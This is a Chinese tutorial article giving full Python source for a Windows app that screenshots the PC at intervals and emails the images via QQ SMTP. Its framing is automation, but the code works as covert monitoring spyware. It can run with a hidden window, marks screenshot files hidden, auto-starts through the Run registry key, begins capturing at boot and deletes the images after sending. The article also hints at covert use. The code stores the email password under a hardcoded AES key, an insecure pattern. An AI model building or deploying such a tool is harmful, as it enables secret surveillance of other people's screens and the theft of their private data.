Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵件
前言
在當(dāng)前的數(shù)字化世界中,自動(dòng)化已經(jīng)成為我們?nèi)粘I詈凸ぷ髦械年P(guān)鍵部分。它不僅提高了效率,還節(jié)省了大量的時(shí)間和精力。在這篇文章中,我們將探討如何使用Python來實(shí)現(xiàn)一個(gè)特定的自動(dòng)化任務(wù) - PC屏幕截圖自動(dòng)發(fā)送到指定的郵箱。
這個(gè)任務(wù)可能看起來很復(fù)雜,但是通過Python,我們可以將其分解為幾個(gè)簡(jiǎn)單的步驟并逐一實(shí)現(xiàn)。首先,我們需要一個(gè)能夠捕獲屏幕截圖的工具。其次,我們需要一個(gè)能夠發(fā)送電子郵件的服務(wù)。最后,我們需要將這兩個(gè)步驟組合在一起,創(chuàng)建一個(gè)可以自動(dòng)執(zhí)行這些任務(wù)的腳本。
在本文中,我們將詳細(xì)介紹這個(gè)過程,并提供相應(yīng)的Python代碼示例。無論你是Python初學(xué)者,還是尋求新的自動(dòng)化項(xiàng)目的經(jīng)驗(yàn)開發(fā)人員,都可以從中受益。讓我們開始吧。
主要功能
1.通過使用pyautogui庫來進(jìn)行屏幕截圖。
2.使用smtplib庫來發(fā)送電子郵件,以將截圖發(fā)送給收件人。
3.使用tkinter庫創(chuàng)建一個(gè)簡(jiǎn)單的圖形用戶界面(GUI),用于配置應(yīng)用程序的設(shè)置。
4.通過使用logging庫來記錄日志,將日志保存到文件中。
5.使用configparser庫來讀取和保存應(yīng)用程序的配置設(shè)置。
6.實(shí)現(xiàn)了開機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開機(jī)自動(dòng)啟動(dòng)。
7.實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
8.收件郵箱默認(rèn)等于發(fā)件郵箱。
此外,代碼還實(shí)現(xiàn)了一些其他功能,如數(shù)據(jù)加密和解密、刪除已發(fā)送的截圖文件等。
應(yīng)用程序在為用戶提供一個(gè)便捷的方式來定時(shí)截圖并將截圖發(fā)送給指定的收件人,適用于需要定期截圖的監(jiān)控、遠(yuǎn)程監(jiān)視等場(chǎng)景。用戶可以通過圖形界面設(shè)置截圖的間隔時(shí)間、截圖的次數(shù)、發(fā)件人和收件人的電子郵件地址等。
具體代碼
# coding=utf-8 ''' @Author : TesterRoad @Time : 2023/7/9 15:43 @Desc : 用python實(shí)現(xiàn)PC屏幕截圖自動(dòng)發(fā)送郵箱 @Software: PyCharm ''' import smtplib import time import pyautogui from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.mime.text import MIMEText import logging import configparser import os import sys import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 import tkinter as tk from tkinter import ttk import datetime import threading import winreg import glob KEY = b'MySuperSecretKey' def encrypt_data(data): cipher = AES.new(KEY, AES.MODE_CBC) ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size)) iv = base64.b64encode(cipher.iv).decode('utf-8') ct = base64.b64encode(ct_bytes).decode('utf-8') return iv + ct def decrypt_data(data): try: iv = base64.b64decode(data[:24]) ct = base64.b64decode(data[24:]) cipher = AES.new(KEY, AES.MODE_CBC, iv=iv) pt = unpad(cipher.decrypt(ct), AES.block_size) return pt.decode('utf-8') except: return "Decryption Error!" class ScreenshotApp: def __init__(self): self.root = tk.Tk() self.root.title("Screen") self.config = configparser.ConfigParser() self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") if not os.path.exists(self.config_file): self.create_default_config() self.config.read(self.config_file) # 讀取配置文件 self.sender_email_label = ttk.Label(self.root, text="發(fā)件郵箱:") self.sender_email_label.grid(row=0, column=0, padx=5, pady=5) self.sender_email_entry = ttk.Entry(self.root) self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5) self.sender_password_label = ttk.Label(self.root, text="發(fā)件郵箱密碼:") self.sender_password_label.grid(row=1, column=0, padx=5, pady=5) self.sender_password_entry = ttk.Entry(self.root, show="*") self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5) self.interval_label = ttk.Label(self.root, text="截圖間隔時(shí)間:") self.interval_label.grid(row=2, column=0, padx=5, pady=5) self.interval_entry = ttk.Entry(self.root) self.interval_entry.grid(row=2, column=1, padx=5, pady=5) self.count_label = ttk.Label(self.root, text="發(fā)送截圖數(shù)量:") self.count_label.grid(row=3, column=0, padx=5, pady=5) self.count_entry = ttk.Entry(self.root) self.count_entry.grid(row=3, column=1, padx=5, pady=5) self.start_button = ttk.Button(self.root, text="開始截圖", command=self.start_screenshot) self.start_button.grid(row=4, column=0, padx=5, pady=5) self.stop_button = ttk.Button(self.root, text="停止截圖", command=self.stop_screenshot) self.stop_button.grid(row=4, column=1, padx=5, pady=5) self.stop_button.configure(state="disabled") self.save_button = ttk.Button(self.root, text="save", command=self.save_settings) self.save_button.grid(row=5, column=0, padx=5, pady=5) self.autostart_var = tk.BooleanVar() self.autostart_checkbutton = ttk.Checkbutton(self.root, text="開機(jī)自動(dòng)啟動(dòng)", variable=self.autostart_var, command=self.save_settings) self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5) self.toggle_visibility_button = ttk.Button(self.root, text="顯示/隱藏", command=self.toggle_visibility) self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5) # 創(chuàng)建日志記錄器 self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log") self.logger = logging.getLogger("ScreenshotApp") self.logger.setLevel(logging.INFO) self.logger.addHandler(logging.FileHandler(self.log_file_path)) self.screenshot_running = False self.screenshot_thread = None self.stop_event = threading.Event() # 初始化輸入框的值 self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback="")) self.sender_password_entry.insert(0, self.get_decrypted_password()) self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback="")) self.count_entry.insert(0, self.config.get("Settings", "count", fallback="")) # 初始化開機(jī)自動(dòng)啟動(dòng)選項(xiàng) self.autostart_var.set(self.is_autostart_enabled()) self.root.protocol("WM_DELETE_WINDOW", self.on_close) self.root.bind("<F12>", self.toggle_visibility) # 初始化窗口可見性 visibility = self.config.get("Settings", "visibility", fallback="visible") if visibility == "hidden": self.root.withdraw() if self.autostart_var.get(): self.start_screenshot() self.root.mainloop() def on_close(self): self.stop_screenshot() self.save_settings() self.delete_screenshots() self.root.quit() def create_default_config(self): if not os.path.exists(self.config_file): self.config["Settings"] = { "sender_email": "", "sender_password": "", "interval": "", "count": "", "autostart": "False", "visibility": "visible" } config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") with open(config_file_path, "w") as configfile: self.config.write(configfile) def start_screenshot(self): interval_text = self.interval_entry.get() count_text = self.count_entry.get() if not interval_text or not count_text: self.logger.error("請(qǐng)?zhí)峁㏒creen間隔時(shí)間和Screen次數(shù)") return try: interval = int(interval_text) count = int(count_text) except ValueError: self.logger.error("Screen間隔時(shí)間和Screen次數(shù)必須是有效的整數(shù)") return if not self.screenshot_running: sender_email = self.sender_email_entry.get() sender_password = self.sender_password_entry.get() interval = int(self.interval_entry.get()) count = int(self.count_entry.get()) receiver_email = sender_email # 收件郵箱地址默認(rèn)等于發(fā)件郵箱地址 self.logger.info("開始Screen") self.start_button.configure(state="disabled") self.stop_button.configure(state="normal") self.screenshot_running = True self.stop_event.clear() self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=( receiver_email, sender_email, sender_password, interval, count)) self.screenshot_thread.start() def stop_screenshot(self): if self.screenshot_running: self.screenshot_running = False self.stop_event.set() self.screenshot_thread.join() self.logger.info("停止Screen") self.start_button.configure(state="normal") self.stop_button.configure(state="disabled") def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count): screenshot_count = 0 screenshots = [] # 獲取用戶主目錄,并創(chuàng)建'Screenshots'文件夾 user_dir = os.path.expanduser('~') screenshot_dir = os.path.join(user_dir, 'Screenshots') os.makedirs(screenshot_dir, exist_ok=True) # 在開始Screen前清空'Screenshots'文件夾 self.delete_screenshots() while screenshot_count < count and not self.stop_event.is_set(): try: # Screen screenshot = pyautogui.screenshot() # 生成文件名,格式為“Screen時(shí)間.png” current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"Screen_{current_time}.png" # 保存Screen到'Screenshots'文件夾中 screenshot_path = os.path.join(screenshot_dir, filename) screenshot.save(screenshot_path) screenshots.append(screenshot_path) screenshot_count += 1 # 設(shè)置文件為隱藏 FILE_ATTRIBUTE_HIDDEN = 0x02 ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN) self.logger.info(f"Screen成功: {screenshot_path}") if screenshot_count == count: # 達(dá)到指定Screen次數(shù)后發(fā)送Screen screenshot_count = 0 self.send_email(receiver_email, sender_email, sender_password, screenshots) self.logger.info(f"Screen發(fā)送成功,共發(fā)送了 {len(screenshots)} 張Screen") self.delete_screenshots(screenshots) screenshots = [] # 清空已發(fā)送的Screen列表 except Exception as e: self.logger.error(f"Screen失敗: {str(e)}") time.sleep(interval) def send_email(self, receiver_email, sender_email, sender_password, filenames): msg = MIMEMultipart() msg["From"] = sender_email msg["To"] = receiver_email msg["Subject"] = "Screen" # 添加郵件正文 msg.attach(MIMEText("請(qǐng)查看附件中的Screen。", "plain")) # 添加Screen作為附件 for filename in filenames: with open(filename, "rb") as f: image = MIMEImage(f.read()) image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename)) msg.attach(image) try: # 發(fā)送郵件 with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp: smtp.login(sender_email, sender_password) smtp.send_message(msg) self.logger.info(f"郵件發(fā)送成功,收件人: {receiver_email}") except Exception as e: self.logger.error(f"郵件發(fā)送失敗: {str(e)}") def save_settings(self): self.config.set("Settings", "sender_email", self.sender_email_entry.get()) self.config.set("Settings", "interval", self.interval_entry.get()) self.config.set("Settings", "count", self.count_entry.get()) self.config.set("Settings", "autostart", str(self.autostart_var.get())) visibility = "visible" if self.root.state() == "normal" else "hidden" self.config.set("Settings", "visibility", visibility) if self.sender_password_entry.get() != self.get_decrypted_password(): encrypted_password = encrypt_data(self.sender_password_entry.get()) self.config.set("Settings", "sender_password", encrypted_password) config_file_path = os.path.abspath(self.config_file) with open(config_file_path, "w") as configfile: self.config.write(configfile) self.logger.handlers.clear() self.logger.addHandler(logging.FileHandler(self.log_file_path)) self.set_autostart(self.autostart_var.get()) def delete_screenshots(self, filenames=None): # 獲取'Screenshots'文件夾路徑 user_dir = os.path.expanduser('~') screenshot_dir = os.path.join(user_dir, 'Screenshots') if filenames is None: filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png")) for filename in filenames: try: os.remove(filename) self.logger.info(f"刪除Screen: {filename}") except Exception as e: self.logger.error(f"刪除Screen失敗: {str(e)}") def get_decrypted_password(self): encrypted_password = self.config.get("Settings", "sender_password", fallback="") if encrypted_password: return decrypt_data(encrypted_password) else: return "" def toggle_visibility(self, event=None): if self.root.state() == "withdrawn": self.root.deiconify() else: self.root.withdraw() self.save_settings() def set_autostart(self, enabled): key = winreg.HKEY_CURRENT_USER run_key = r"Software\Microsoft\Windows\CurrentVersion\Run" app_name = "Screen" app_path = sys.executable # 獲取當(dāng)前腳本的絕對(duì)路徑 try: with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key: if enabled: winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path) self.logger.info("已設(shè)置開機(jī)自動(dòng)啟動(dòng)") else: winreg.DeleteValue(reg_key, app_name) self.logger.info("已取消開機(jī)自動(dòng)啟動(dòng)") except FileNotFoundError as e: self.logger.error(f"找不到注冊(cè)表路徑: {str(e)}") except PermissionError as e: self.logger.error(f"沒有足夠的權(quán)限訪問注冊(cè)表: {str(e)}") except Exception as e: self.logger.error(f"設(shè)置開機(jī)自動(dòng)啟動(dòng)失敗: {str(e)}") def is_autostart_enabled(self): key = winreg.HKEY_CURRENT_USER run_key = r"Software\Microsoft\Windows\CurrentVersion\Run" app_name = "Screen" app_path = sys.executable # 獲取當(dāng)前腳本的絕對(duì)路徑 try: with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key: try: value, value_type = winreg.QueryValueEx(reg_key, app_name) return value == app_path except FileNotFoundError: return False except FileNotFoundError as e: self.logger.error(f"找不到注冊(cè)表路徑: {str(e)}") except PermissionError as e: self.logger.error(f"沒有足夠的權(quán)限訪問注冊(cè)表: {str(e)}") except Exception as e: self.logger.error(f"讀取開機(jī)自動(dòng)啟動(dòng)設(shè)置失敗: {str(e)}") return False if __name__ == "__main__": app = ScreenshotApp()
效果展示
打開CMD,輸入python ScreenCaptureSendEmail.py
我們輸入發(fā)件郵箱,發(fā)件郵箱密碼(QQ郵箱則是授權(quán)碼),截圖間隔時(shí)間,發(fā)送截圖數(shù)量,然后點(diǎn)擊開始截圖,稍后我們會(huì)收到一封QQ郵件
如下圖所示
看到這里,我突然有個(gè)大膽的想法。
在本文中,我們?cè)敿?xì)討論了如何使用Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送至郵箱的功能。我們探討了相關(guān)庫的使用。并通過編寫實(shí)際的代碼,我們一步步演示了如何將這些功能整合在一起。希望這篇文章能夠幫助你在自動(dòng)化處理任務(wù)、提高工作效率方面取得進(jìn)步。如果你在實(shí)踐過程中遇到任何問題,或者有任何建議,歡迎隨時(shí)與我交流。記住,編程就是解決問題的藝術(shù),不斷學(xué)習(xí)和實(shí)踐才能更好地掌握它。
到此這篇關(guān)于Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵件的文章就介紹到這了,更多相關(guān)Python屏幕截圖內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
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